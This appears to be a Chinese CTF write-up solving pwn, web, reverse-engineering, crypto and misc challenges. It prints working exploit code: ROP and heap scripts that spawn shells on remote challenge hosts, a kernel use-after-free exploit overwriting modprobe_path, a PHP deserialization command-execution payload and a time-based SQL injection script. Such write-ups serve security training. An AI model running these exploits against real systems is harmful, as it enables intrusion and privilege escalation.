PWN
linkmap
直接给了栈溢出
__int64 __fastcall main(__int64 a1, char **a2, char **a3){char buf[16]; // [rsp+0h] [rbp-10h] BYREFinitial();read(0, buf, 0x100uLL);return 0LL;}
题目保护开启了Full RELRO
所以不能直接使用dl2resolve
Arch: amd64-64-littleRELRO: Full RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)
查看gadget，可以找到下面一个很好用的gadget
可以把got表的地址读取到data段上
0x000000000040066b: lea rdx, [rax + 0x601020]; mov rax, qword ptr [rbp - 8]; mov qword ptr [rdx], rax; nop; pop rbp; ret; 利用脚本
#!/usr/bin/env python3# -*- coding:utf-8 -*-from pwn import *context.clear(arch='amd64', os='linux', log_level='debug')sh = remote("pwn-f755a649e0.challenge.xctf.org.cn", 9999, ssl=True)payload = flat([0x00000000004007e3,0,0x00000000004007e1,0x602000-0x100,0,0x4004E0,0x00000000004007e3,0x602000-0x100,0x00000000004007e1,0,0,0x0000000000400570,0x600FD8 + 8,0x000000000040066b,0x602000-0x100+0x20,0x000000000040076d,])sh.send((cyclic(0x18) + payload).ljust(0x100, b'0'))payload2 = flat([0x602000-0x800,0x000000000040066b,0,0x00000000004007e3,0,0x00000000004007e1,0x601120-(59-1),0,0x4004E0,0x00000000004007e3,0x602000-0x100,0x00000000004007e1,0,0,0x0000000000400570,0x601118,0x400772,])sh.send(b'/bin/sh'.ljust(0x20, b'0') + payload2.ljust(0x100-0x20, b'0'))one_byte = p8(0x90)sh.send(cyclic(59-1) + one_byte)sh.interactive()
mmsg
UAF
int __fastcall module_open(inode *inode, file *file){printk(&unk_4D1);return 0;}int __fastcall module_close(inode *inode, file *file){kfree(mmsg_head_0, file);return 0;}
利用代码
struct mmsg_arg {unsigned long token;int top;int size;char *data;};struct mmsg {unsigned int token;int size;char *data;void *next;void *prev;};int mmsg_fd;size_t kernel_base_addr, slab_addr;void exp_modprobe_path(){int exp_fd;char *child_args[] = {"/tmp/err", NULL, NULL};char buf[0x100] = {0};exp_fd = open("/tmp/x", O_WRONLY | O_CREAT | O_NOCTTY | O_NONBLOCK, 0755);write(exp_fd, "#!/bin/shn""mv /root/flag /flagn""chmod 777 /flagn",46);close(exp_fd);exp_fd = open("/tmp/err", O_WRONLY | O_CREAT | O_NOCTTY | O_NONBLOCK, 0755);write(exp_fd, " ", 4);close(exp_fd);if (fork() == 0){execve(child_args[0], child_args, child_args + 1);exit(EXIT_FAILURE);}if (wait(NULL) == -1){perror("wait");exit(EXIT_FAILURE);}exp_fd = open("/flag", O_RDONLY);if (exp_fd == -1){perror("open");exit(EXIT_FAILURE);}read(exp_fd, buf, sizeof(buf));puts(buf);}int main(){struct mmsg_arg args;struct mmsg *ptr;unsigned char buf[0x1000];int i;size_t result;int tmp_fd[0x10];pthread_t th;if((mmsg_fd = open("/dev/mmsg", O_RDWR)) == -1){perror("open");exit(EXIT_FAILURE);}close(mmsg_fd);if(open("/proc/self/status", O_RDONLY) == -1){perror("open");exit(EXIT_FAILURE);}if((mmsg_fd = open("/dev/mmsg", O_RDWR)) == -1){perror("open");exit(EXIT_FAILURE);}args.data = buf;ioctl(mmsg_fd, MMSG_GET_DESC, &args);kernel_base_addr = *(size_t*)buf - 0x20fac0;printf("kernel_base_addr: 0x%lxn", kernel_base_addr);ptr = (struct mmsg *)buf;ptr->token = 0x61626364;ptr->size = 0x100;ptr->data = NULL;args.data = buf;ioctl(mmsg_fd, MMSG_PUT_DESC, &args);args.data = buf;args.top = 1;args.size = 0x10;memset(buf, 0, sizeof(buf));ioctl(mmsg_fd, MMSG_UPDATE, &args);args.data = buf;ioctl(mmsg_fd, MMSG_GET_DESC, &args);slab_addr = *(size_t*)(buf + 8);printf("slab_addr: 0x%lxn", slab_addr);ptr = (struct mmsg *)buf;ptr->token = 0x61626364;ptr->size = 0x100;ptr->data = (char*)slab_addr;args.data = buf;ioctl(mmsg_fd, MMSG_PUT_DESC, &args);args.data = buf;args.top = 1;args.size = 0x20;memset(buf, 0, sizeof(buf));ioctl(mmsg_fd, MMSG_UPDATE, &args);ptr = (struct mmsg *)buf;ptr->token = 0x61626364;ptr->size = 0x100;ptr->data = (char*)slab_addr;args.data = buf;ioctl(mmsg_fd, MMSG_PUT_DESC, &args);args.data = buf;args.top = 1;args.size = 0x10;*(size_t*)(buf+8) = kernel_base_addr + 0x164d0e0;ioctl(mmsg_fd, MMSG_UPDATE, &args);ptr = (struct mmsg *)buf;ptr->token = 0x61626364;ptr->size = 0x100;ptr->data = NULL;args.data = buf;ioctl(mmsg_fd, MMSG_PUT_DESC, &args);args.data = buf;args.top = 1;args.size = 0x10;memset(buf, 0, sizeof(buf));*(size_t*)(buf+8) = kernel_base_addr + 0x164d0e0;ioctl(mmsg_fd, MMSG_UPDATE, &args);ptr = (struct mmsg *)buf;ptr->token = 0x61626364;ptr->size = 0x100;ptr->data = NULL;args.data = buf;ioctl(mmsg_fd, MMSG_PUT_DESC, &args);args.data = buf;args.top = 1;args.size = 0x10;strcpy(buf, "/tmp/x");// getchar();ioctl(mmsg_fd, MMSG_UPDATE, &args);ptr = (struct mmsg *)buf;ptr->token = 0x61626364;ptr->size = 0x100;ptr->data = (char*)slab_addr;args.data = buf;ioctl(mmsg_fd, MMSG_PUT_DESC, &args);args.data = buf;args.top = 1;args.size = 0x20;memset(buf, 0, sizeof(buf));ioctl(mmsg_fd, MMSG_UPDATE, &args);ptr = (struct mmsg *)buf;ptr->token = 0x61626364;ptr->size = 0x100;ptr->data = (char*)slab_addr;args.data = buf;ioctl(mmsg_fd, MMSG_PUT_DESC, &args);args.data = buf;args.top = 1;args.size = 0x10;*(size_t*)(buf+8) = 0;ioctl(mmsg_fd, MMSG_UPDATE, &args);exp_modprobe_path();return 0;}
darknote
存在整数溢出漏洞，例如：0x100000000/8
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3){.../*.text:0000000000401A76 B8 00 00 00 00 mov eax, 0.text:0000000000401A7B E8 49 FB FF FF call get_int.text:0000000000401A7B.text:0000000000401A80 89 05 42 28 00 00 mov cs:amount, eax.text:0000000000401A86 8B 05 3C 28 00 00 mov eax, cs:amount.text:0000000000401A8C C1 E0 03 shl eax, 3.text:0000000000401A8F 48 98 cdqe.text:0000000000401A91 48 89 C7 mov rdi, rax ; size.text:0000000000401A94 E8 77 F7 FF FF call _malloc*/puts("How many dark notes do you want?");amount = get_int();ptr = (char **)malloc(8 * amount);memset(ptr, 0, 8 * amount);...}
利用脚本
#!/usr/bin/env python3# -*- coding:utf-8 -*-from pwn import *context.clear(arch='amd64', os='linux', log_level='debug')sh = remote("pwn-05df932310.challenge.xctf.org.cn", 9999, ssl=True)def add(index, note):sh.sendlineafter(b'>> ', b'1')sh.sendlineafter(b'Index: ', str(index).encode())sh.sendafter(b'Note: ', note)sh.sendlineafter(b'want?n', b'536936448')add(318325, flat([0, 0x71, 0x404240]) + b'n')add(0, b'n')add(0, b' ' * 0x10 + p64(0x403FB0)[:6] + b'n')sh.recvuntil(b'=n')libc_addr = u64(sh.recvn(6) + b' ') - 0x10dfc0success('libc_addr: ' + hex(libc_addr))add(318325, flat([0, 0x71, 0x404240]) + b'n')add(0, b'n')add(0, b' ' * 0x10 + p64(libc_addr + 0x1ef600)[:6] + b'n')sh.recvuntil(b'=n')stack_addr = u64(sh.recvn(6) + b' ') - 0success('stack_addr: ' + hex(stack_addr))print(hex(stack_addr - 0x70))add(318325, flat([0, 0x71, stack_addr - 0x98]) + b'n')add(0, b'n')add(0, cyclic(24) + flat([libc_addr + 0x0000000000023b6a,stack_addr & (~0xfff),libc_addr + 0x000000000002601f,0x1000,libc_addr + 0x0000000000142c92,7,libc_addr + 0x0000000000036174,0x1a,0,]) + b'n')shellcode = asm('''lea rsi, next[rip]mov edi, 0mov edx, 0x200mov eax, 0syscallnext:''')add(318325, flat([0, 0x71, stack_addr - 0x40]) + b'n')add(0, b'n')add(0, flat([libc_addr + 0x000000000009c272,libc_addr + 0x00000000000630a9,stack_addr - 0x18,]) + shellcode + b'n')add(318325, flat([0, 0x71, libc_addr + 0x1ecb70-0x10]) + b'n')add(0, b'n')add(0, p64(libc_addr + 0x00000000000bb92c) + b'n')sh.sendlineafter(b'>> ', b'1')sh.sendlineafter(b'Index: ', str(0).encode())shellcode2 = asm('''mov eax, 0x67616c66 ;// flagpush raxmov rdi, rspxor eax, eaxmov esi, eaxmov al, 2syscall ;// openpush raxmov rsi, rspxor eax, eaxmov edx, eaxinc eaxmov edi, eaxmov dl, 8syscall ;// write open() return valuepop raxtest rax, raxjs overmov edi, eaxmov rsi, rspmov edx, 0x01010201sub edx, 0x01010101xor eax, eaxsyscall ;// readmov edx, eaxmov rsi, rspxor eax, eaxinc eaxmov edi, eaxsyscall ;// writeover:xor edi, edimov eax, 0x010101e8sub eax, 0x01010101syscall ;// exit''')sh.send(shellcode2)sh.interactive()
WEB
hinder
一开始提示无权限
权限绕过
<html><body><a id="" href="/a/../hinder/;jsessionid=3F8E46962DFDE5785A1A07285E91C2BB"></a><!-- /download.action?filename=hint --></body></html>
读proc/1/cmdline
发现run.sh
但是直接读读不出
直接拼run.sh发现可以读
#!/bin/shFLAG=not_hereexport FLAG=not_here/usr/local/tomcat/bin/catalina.sh run
http://web-644c218acb.challenge.xctf.org.cn/a/../hinder/download.action?filename=../../../../../oh_u_f1nd_me
flag{nkaeUqPWdFnCRfw3k4R8FdbgjpQDvLOw}
unserize
访问www.zip下载源码
function.php里面有一个过滤器
反序列化字符串逃逸，直接用a这个过滤器进行逃逸
b不用管他
root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=";s:3:"pwd";O:7:"pull_it":1:{s:1:"x";s:2:"ls";}可以触发，接下来就是无字符的命令执行
root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=";s:3:"pwd";O:7:"pull_it":1:{s:1:"x";s:21:"?><?=`/???/??? /*`;?>";}短标签拼接然后用通配符 /???/???这个模拟
/bin/cat cat根目录所有
hellosql
SQL注入，过滤了sleep，benchmark函数，然后这里就可以想到使用笛卡尔积进行运算延时，然后测试注入点发现为单引号闭合存在延时。
然后这里使用单引号闭合再使用#进行注释。
中间就可以进行盲注了。直接使用脚本即可。
import timeimport requestsfrom datetime import datetimeurl = "http://web-1939c1eb66.challenge.xctf.org.cn/index.php"result = ""for i in range(1,100):head = 32tail = 126while head < tail:mid = (head + tail) >> 1#查数据库 ctfparam = {"id": f"1' and ascii(substr(database(),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"}#查表param = {"id": f"1' and ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"}#查列 Flaggparam = {"id": f"1' and ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flllag')),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"}#Flagg 查数据param = {"id": f"1' and ascii(substr((select(group_concat(concat_ws(0x7e,Flagg)))from(ctf.Flllag)),{i},1))>{mid} and (select sum(0) from information_schema.columns A,information_schema.columns B)#"}start = int(datetime.now().timestamp() * 1000)resp = requests.get(url, params=param)end = int(datetime.now().timestamp() * 1000)if end - start > 300:head = mid + 1else:tail = midif head != 32:result += chr(head)else:breakprint(result)
RE
gore
一个魔改的upx加壳的程序
把文件的几个upx标志位修改回来 然后脱壳
脱壳后进入函数分细
首先是一个aes加密
然后是一个base64编码
但是换表了
最后是一个比较
其中密钥是通过动态调试取出来的
为wvgitbygwbk2b46d
写脚本 把base64字符串求出来
然后用cyberchef在线解密就可
cin = "aaaaaaaaaaaaaaaaaaaaaaaa="print(len(cin))enc=[ 0xE6, 0xCE, 0x89, 0xC8, 0xCF, 0xC5, 0xF5, 0xC9, 0xD2, 0xD9,0xC0, 0x91, 0xCE, 0x7F, 0xAC, 0xCC, 0xE9, 0xCF, 0xB7, 0xC0,0x96, 0xD4, 0xEA, 0x92, 0xE2, 0xD7, 0xDF, 0x84, 0xCB, 0xA5,0xAE, 0x93, 0xA6, 0xCA, 0xBE, 0x97, 0xDF, 0xCE, 0xF0, 0xC9,0xB7, 0xE1, 0xAE, 0x6B, 0xC4, 0xB1, 0x65, 0xDB, 0xCE, 0xED,0x92, 0x93, 0xD6, 0x8C, 0xED, 0xC3, 0xA3, 0xDA, 0x94, 0xA5,0xAA, 0xB2, 0xB5, 0xA7, 0x55]key=b"wvgitbygwbk2b46d"base = ""for i in range(len(enc)):base+=chr(((enc[i]-key[i%16])^0x1a) &0xff)print(base)
CRYPTO
Simple_encryption
题目
from Crypto.Util.number import *import gmpy2import randomimport binasciifrom secret import flagp = getStrongPrime(1024)q = getStrongPrime(1024)N = p * qg, r1, r2 = [getRandomRange(1, N) for _ in range(3)]g1 = pow(g, r1 * (p - 1), N)g2 = pow(g, r2 * (q - 1), N)def encrypt(m):s1, s2 = [getRandomRange(1, N) for _ in range(2)]c1 = (m * pow(g1, s1, N)) % Nc2 = (m * pow(g2, s2, N)) % Nprint("c1=", c1)print("c2=", c2)return (c1, c2)c = encrypt(bytes_to_long(flag[:len(flag) // 2]))print('N=', N)print('g1=', g1)def pad(msg, length):l = len(msg)return msg + (length - l) * chr(length - l).encode('utf-8')p = getStrongPrime(1024)q = getStrongPrime(1024)assert (p != q)n = p * qe = 5d = inverse(e, (p - 1) * (q - 1))assert (e * d % (p - 1) * (q - 1))flag = pad(flag[len(flag) // 2:], 48)m = [int(binascii.b2a_hex(flag[i * 16:i * 16 + 16]).decode('utf-8'), 16) for i in range(3)]print('S=', sum(m) % n)cnt = len(m)A = [(i + 128) ** 2 for i in range(cnt)]B = [(i + 1024) for i in range(cnt)]C = [(i + 512) for i in range(cnt)]Cs = [int(pow((A[i] * m[i] ** 2 + B[i] * m[i] + C[i]), e, n)) for i in range(cnt)]print('N=', n)print('e=', e)print('Cs=', Cs)'''c1= 19024563955839349902897822692180949371550067644378624199902067434708278125346234824900117853598997270022872667319428613147809325929092749312310446754419305096891122211944442338664613779595641268298482084259741784281927857614814220279055840825157115551456554287395502655358453270843601870807174309121367449335110327991187235786798374254470758957844690258594070043388827157981964323699747450405814713722613265012947852856714100237325256114904705539465145676960232769502207049858752573601516773952294218843901330100257234517481221811887136295727396712894842769582824157206825592614684804626241036297918244781918275524254c2= 11387447548457075057390997630590504043679006922775566653728699416828036980076318372839900947303061300878930517069527835771992393657157069014534366482903388936689298175411163666849237525549902527846826224853407226289495201341719277080550962118551001246017511651688883675152554449310329664415179464488725227120033786305900106544217117526923607211746947511746335071162308591288281572603417532523345271340113176743703809868369623401559713179927002634217140206608963086656140258643119596968929437114459557916757824682496866029297120246221557017875892921591955181714167913310050483382235498906247018171409256534124073270350N= 21831630625212912450058787218272832615084640356500740162478776482071876178684642739065105728423872548532056206845637492058465613779973193354996353323494373418215019445325632104575415991984764454753263189235376127871742444636236132111097548997063091478794422370043984009615893441148901566420508196170556189546911391716595983110030778046242014896752388438535131806524968952947016059907135882390507706966746973544598457963945671064540465259211834751973065197550500334726779434679470160463944292619173904064826217284899341554269864669620477774678605962276256707036721407638013951236957603286867871199275024050690034901963g1= 20303501619435729000675510820217420636246553663472832286487504757515586157679361170332171306491820918722752848685645096611030558245362578422584797889428493611704976472409942840368080016946977234874471779189922713887914075985648876516896823599078349725871578446532134614410886658001724864915073768678394238725788245439086601955497248593286832679485832319756671985505398841701463782272300202981842733576006152153012355980197830911700112001441621619417349747262257225469106511527467526286661082010163334100555372381681421874165851063816598907314117035131618062582953512203870615406642787786668571083042463072230605649134S= 234626762558445335519229319778735528295N= 28053749721930780797243137464055357921262616541619976645795810707701031602793034889886420385567169222962145128498131170577184276590698976531070900776293344109534005057067680663813430093397821366071365221453788763262381958185404224319153945950416725302184077952893435265051402645871699132910860011753502307815457636525137171681463817731190311682277171396235160056504317959832747279317829283601814707551094074778796108136141845755357784361312469124392408642823375413433759572121658646203123677327551421440655322226192031542368496829102050186550793124020718643243789525477209493783347317576783265671566724068427349961101e= 5Cs= [1693447496400753735762426750097282582203894511485112615865753001679557182840033040705025720548835476996498244081423052953952745813186793687790496086492136043098444304128963237489862776988389256298142843070384268907160020751319313970887199939345096232529143204442168808703063568295924663998456534264361495136412078324133263733409362366768460625508816378362979251599475109499727808021609000751360638976, 2240772849203381534975484679127982642973364801722576637731411892969654368457130801503103210570803728830063876118483596474389109772469014349453490395147031665061733965097301661933389406031214242680246638201663845183194937353509302694926811282026475913703306789097162693368337210584494881249909346643289510493724709324540062077619696056842225526183938442535866325407085768724148771697260859350213678910949, 5082341111246153817896279104775187112534431783418388292800705085458704665057344175657566751627976149342406406594179073777431676597641200321859622633948317181914562670909686170531929552301852027606377778515019377168677204310642500744387041601260593120417053741977533047412729373182842984761689443959266049421034949822673159561609487404082536872314636928727833394518122974630386280495027169465342976]'''
解决
根据费马小定理可推得g1=kp
$$
g_{1}equiv ~g^{r_{1}*(p-1) } ~(modp)g_{1}equiv ~1(modp)g_{1}-1equiv 0~(mod p)g_{1}=kp
$$
我们直接gcd(g1,N)==p
然后恢复q，进而恢复m前半段
import gmpy2from Crypto.Util.number import *c1= 19024563955839349902897822692180949371550067644378624199902067434708278125346234824900117853598997270022872667319428613147809325929092749312310446754419305096891122211944442338664613779595641268298482084259741784281927857614814220279055840825157115551456554287395502655358453270843601870807174309121367449335110327991187235786798374254470758957844690258594070043388827157981964323699747450405814713722613265012947852856714100237325256114904705539465145676960232769502207049858752573601516773952294218843901330100257234517481221811887136295727396712894842769582824157206825592614684804626241036297918244781918275524254c2= 11387447548457075057390997630590504043679006922775566653728699416828036980076318372839900947303061300878930517069527835771992393657157069014534366482903388936689298175411163666849237525549902527846826224853407226289495201341719277080550962118551001246017511651688883675152554449310329664415179464488725227120033786305900106544217117526923607211746947511746335071162308591288281572603417532523345271340113176743703809868369623401559713179927002634217140206608963086656140258643119596968929437114459557916757824682496866029297120246221557017875892921591955181714167913310050483382235498906247018171409256534124073270350N= 21831630625212912450058787218272832615084640356500740162478776482071876178684642739065105728423872548532056206845637492058465613779973193354996353323494373418215019445325632104575415991984764454753263189235376127871742444636236132111097548997063091478794422370043984009615893441148901566420508196170556189546911391716595983110030778046242014896752388438535131806524968952947016059907135882390507706966746973544598457963945671064540465259211834751973065197550500334726779434679470160463944292619173904064826217284899341554269864669620477774678605962276256707036721407638013951236957603286867871199275024050690034901963g1= 20303501619435729000675510820217420636246553663472832286487504757515586157679361170332171306491820918722752848685645096611030558245362578422584797889428493611704976472409942840368080016946977234874471779189922713887914075985648876516896823599078349725871578446532134614410886658001724864915073768678394238725788245439086601955497248593286832679485832319756671985505398841701463782272300202981842733576006152153012355980197830911700112001441621619417349747262257225469106511527467526286661082010163334100555372381681421874165851063816598907314117035131618062582953512203870615406642787786668571083042463072230605649134p = (gmpy2.gcd(g1-1,N))q=N//pdef decrypt(c1, c2):xp = c1 % pxq = c2 % qm = (xp*inverse(q, p)*q + xq*inverse(p, q)*p) % Nreturn mm = decrypt(c1,c2)m=long_to_bytes(m)
第二段加密e=5,低加密恢复出M，分析出cnt=3
进而恢复出ABC三个的值
cnt=3A = [(i + 128) ** 2 for i in range(cnt)]B = [(i + 1024) for i in range(cnt)]C = [(i + 512) for i in range(cnt)]print(f"A={A}")print(f"B={B}")print(f"C={C}")#A=[16384, 16641, 16900]#B=[1024, 1025, 1026]#C=[512, 513, 514]
把题目中已知关系进行解方程得到m的三个列表内的数值，设置为x,y,z放在sage里面解
A=[16384, 16641, 16900]B=[1024, 1025, 1026]C=[512, 513, 514]M=[70105864201789081448341323173168814626290331977226399010985718339864141790250496, 295174996474963104919770605739942482686775346823742034261282804762108447183558389, 21938794596119327323920598114656453572273597393994712550717124961084111931664796]S= 234626762558445335519229319778735528295n=28053749721930780797243137464055357921262616541619976645795810707701031602793034889886420385567169222962145128498131170577184276590698976531070900776293344109534005057067680663813430093397821366071365221453788763262381958185404224319153945950416725302184077952893435265051402645871699132910860011753502307815457636525137171681463817731190311682277171396235160056504317959832747279317829283601814707551094074778796108136141845755357784361312469124392408642823375413433759572121658646203123677327551421440655322226192031542368496829102050186550793124020718643243789525477209493783347317576783265671566724068427349961101x, y, z = var('x y z')equation1 = A[0]*x**2+B[0]*x+C[0]==M[0]equation2 = A[1]*y**2+B[1]*y+C[1]==M[1]equation3 = A[2]*z**2+B[2]*z+C[2]==M[2]equation4=x+y+z==Ssolutions = solve((equation1, equation2, equation3), x, y, z)for solution in solutions:print(solution)
将x,y,z整型转字节拼接就好了
总体代码
import gmpy2from Crypto.Util.number import *c1= 19024563955839349902897822692180949371550067644378624199902067434708278125346234824900117853598997270022872667319428613147809325929092749312310446754419305096891122211944442338664613779595641268298482084259741784281927857614814220279055840825157115551456554287395502655358453270843601870807174309121367449335110327991187235786798374254470758957844690258594070043388827157981964323699747450405814713722613265012947852856714100237325256114904705539465145676960232769502207049858752573601516773952294218843901330100257234517481221811887136295727396712894842769582824157206825592614684804626241036297918244781918275524254c2= 11387447548457075057390997630590504043679006922775566653728699416828036980076318372839900947303061300878930517069527835771992393657157069014534366482903388936689298175411163666849237525549902527846826224853407226289495201341719277080550962118551001246017511651688883675152554449310329664415179464488725227120033786305900106544217117526923607211746947511746335071162308591288281572603417532523345271340113176743703809868369623401559713179927002634217140206608963086656140258643119596968929437114459557916757824682496866029297120246221557017875892921591955181714167913310050483382235498906247018171409256534124073270350N= 21831630625212912450058787218272832615084640356500740162478776482071876178684642739065105728423872548532056206845637492058465613779973193354996353323494373418215019445325632104575415991984764454753263189235376127871742444636236132111097548997063091478794422370043984009615893441148901566420508196170556189546911391716595983110030778046242014896752388438535131806524968952947016059907135882390507706966746973544598457963945671064540465259211834751973065197550500334726779434679470160463944292619173904064826217284899341554269864669620477774678605962276256707036721407638013951236957603286867871199275024050690034901963g1= 20303501619435729000675510820217420636246553663472832286487504757515586157679361170332171306491820918722752848685645096611030558245362578422584797889428493611704976472409942840368080016946977234874471779189922713887914075985648876516896823599078349725871578446532134614410886658001724864915073768678394238725788245439086601955497248593286832679485832319756671985505398841701463782272300202981842733576006152153012355980197830911700112001441621619417349747262257225469106511527467526286661082010163334100555372381681421874165851063816598907314117035131618062582953512203870615406642787786668571083042463072230605649134p = (gmpy2.gcd(g1-1,N))q=N//pdef decrypt(c1, c2):xp = c1 % pxq = c2 % qm = (xp*inverse(q, p)*q + xq*inverse(p, q)*p) % Nreturn mm = decrypt(c1,c2)m=long_to_bytes(m)N= 28053749721930780797243137464055357921262616541619976645795810707701031602793034889886420385567169222962145128498131170577184276590698976531070900776293344109534005057067680663813430093397821366071365221453788763262381958185404224319153945950416725302184077952893435265051402645871699132910860011753502307815457636525137171681463817731190311682277171396235160056504317959832747279317829283601814707551094074778796108136141845755357784361312469124392408642823375413433759572121658646203123677327551421440655322226192031542368496829102050186550793124020718643243789525477209493783347317576783265671566724068427349961101e= 5Cs= [1693447496400753735762426750097282582203894511485112615865753001679557182840033040705025720548835476996498244081423052953952745813186793687790496086492136043098444304128963237489862776988389256298142843070384268907160020751319313970887199939345096232529143204442168808703063568295924663998456534264361495136412078324133263733409362366768460625508816378362979251599475109499727808021609000751360638976, 2240772849203381534975484679127982642973364801722576637731411892969654368457130801503103210570803728830063876118483596474389109772469014349453490395147031665061733965097301661933389406031214242680246638201663845183194937353509302694926811282026475913703306789097162693368337210584494881249909346643289510493724709324540062077619696056842225526183938442535866325407085768724148771697260859350213678910949, 5082341111246153817896279104775187112534431783418388292800705085458704665057344175657566751627976149342406406594179073777431676597641200321859622633948317181914562670909686170531929552301852027606377778515019377168677204310642500744387041601260593120417053741977533047412729373182842984761689443959266049421034949822673159561609487404082536872314636928727833394518122974630386280495027169465342976]M=[]for i in range(len(Cs)):k = 0while True:m1=Cs[i]+k*Nflag=gmpy2.iroot(m1,5)if flag[1]:M.append(int(flag[0]))breakelse:k+=1x =65413472431888815878902893901773169457y =133183392452574799979498526266539842331z =36029897673981719660827899610422516507x=long_to_bytes(x)y=long_to_bytes(y)z=long_to_bytes(z)print(m+x+y+z)
数学但高中
题目
x=4{0<y<6}y=4{2<x<6,17<x<18,28<x<30,41<x<42}y=6{4<x<6,15<x<16,17<x<19,41<x<43,50<x<51}x=7{0<y<6}(x-9)^2+(y-3)^2=1x=10{2<y<3}(x-12)^2+(y-3)^2=1x=13{0<y<3}y=0{11<x<13,15<x<16,50<x<51}y=-x+17{14<x<15}y=x-11{14<x<15}x=15{0<y<2,4<y<6}x=17{1<y<6}x=19{3<y<4}x=21{3<y<4}(x-20)^2+(y-3)^2=1{2<y<3}(x-23)^2+(y-3)^2=1{3<y<4}x=22{2<y<3}x=24{2<y<3}(x-26)^2+(y-3)^2=1{25<x<26}y=0.5x-11{26<x<27}y=-0.5x+17{26<x<27}y=2{29<x<30,31<x<33,39<x<40}x=29{2<y<5}x=32{2<y<5}y=x-27{31<x<32}(x-34)^2+((y-3.5)^2)/(1.5^2)=1x=36{2<y<3}(x-37)^2+(y-3)^2=1{3<y<4}x=38{2<y<3}x=41{2<y<6}x=44{3<y<4}(x-45)^2+(y-3)^2=1{2<y<3}x=46{3<y<4}x=47{2<y<3}(x-48)^2+(y-3)^2=1{3<y<4}x=49{2<y<3}x=51{0<y<2,4<y<6}y=x-49{51<x<52}y=-x+55{51<x<52}
题解
在线网址绘图就行
Desmos | 图形计算器
MISC
weclome
ZmxhZ3tQZWVrZ2Vla18xc19BX0dyM2E3X2VWZW43X2Ywcl9ldjNyeV9DVEZlcn0=base64flag{Peekgeek_1s_A_Gr3a7_eVen7_f0r_ev3ry_CTFer}
found me
下载文件发现是个mini dump文件
strings find.DMP | grep "flag"# Maybe you know the Netflix picture format? Hope this hint helps you. Search for more information to find the flag!
得到一个hint，搜索得知是avif文件
strings /root/Desktop/find.DMP | grep "avif"# avifmif1miaf# 发现有avif头foremost -i /root/Desktop/find.DMP -T# 分离文件，发现avif被分离入了mp4文件夹中，修改文件后缀即可看到含flag的图片
flag{Y0ung_Ju57_f0ward}
song
下载得到一个song，发现是个PPT文件
尝试补齐504b0304头和修改文件为zip
即可查看文件目录
./docProcps/thumbnail.jpeg
目录下缩略图中包含了一个zip文件
根据password_hint进行解码
9iZ!r@n(9KAQV])<,6_K:,$L-<`N0U>'`J@;A:f@X:pc;__<N;f->);/8c[<(K>S=u&Q<<CoJA2-DK9l+cpAQMnd;/LD5=&s-8@T?rP;cdd':,$@!;_g1U<ARX#;)<$*;/J0E@P^bo;f-JGAQ3=t:/tFO@r$$s9gs:q@kgl'<`Lh:base85MUlBcFlieXNQTkxGN0lvVUV2ZzAzakE3bzRhS1VRSml0QkJ3THBSZ2FHUG5Wd1BRMlpzeWV0Qmt6WVlRbUdhSWlDN0hnS24zU3UyQ3lmQm50b3NjSmpJeTh1NUY1ckphMExEc1RtVU0=base641IApYbysPNLF7IoUEvg03jA7o4aKUQJitBBwLpRgaGPnVwPQ2ZsyetBkzYYQmGaIiC7HgKn3Su2CyfBntoscJjIy8u5F5rJa0LDsTmUMbase622RDNc9KEuijpYDhs2tvvBYEfY9TqyXUr6q8KYQPgfYy8oCifz2nnmXeM6UHfJM1d6e6dKRTKKrRs2base584WXYNZ5AQHTJRL7FXC4ORJ4B4W6LDZMPUPSLXJD3FIVCUKRKFJ6Q====base32密码是常见弱口令{******}
./song./ppt./media
目录下有两张一样的图片，且只有冗余部分不同
分离出冗余部分，冗余部分为MAC头，为APE文件
使用DEEPSOUND 解码，
其中根据弱口令推测密码为123456
解出password.txt，并进行Ook解码得到password
this_zip_password_is_QazWsx147!@#
使用QazWsx147!@#解压缩包得到flag
flag{lW9tUyrh8RzzvysrswAwY7MHR4mmbLSt}
文末:
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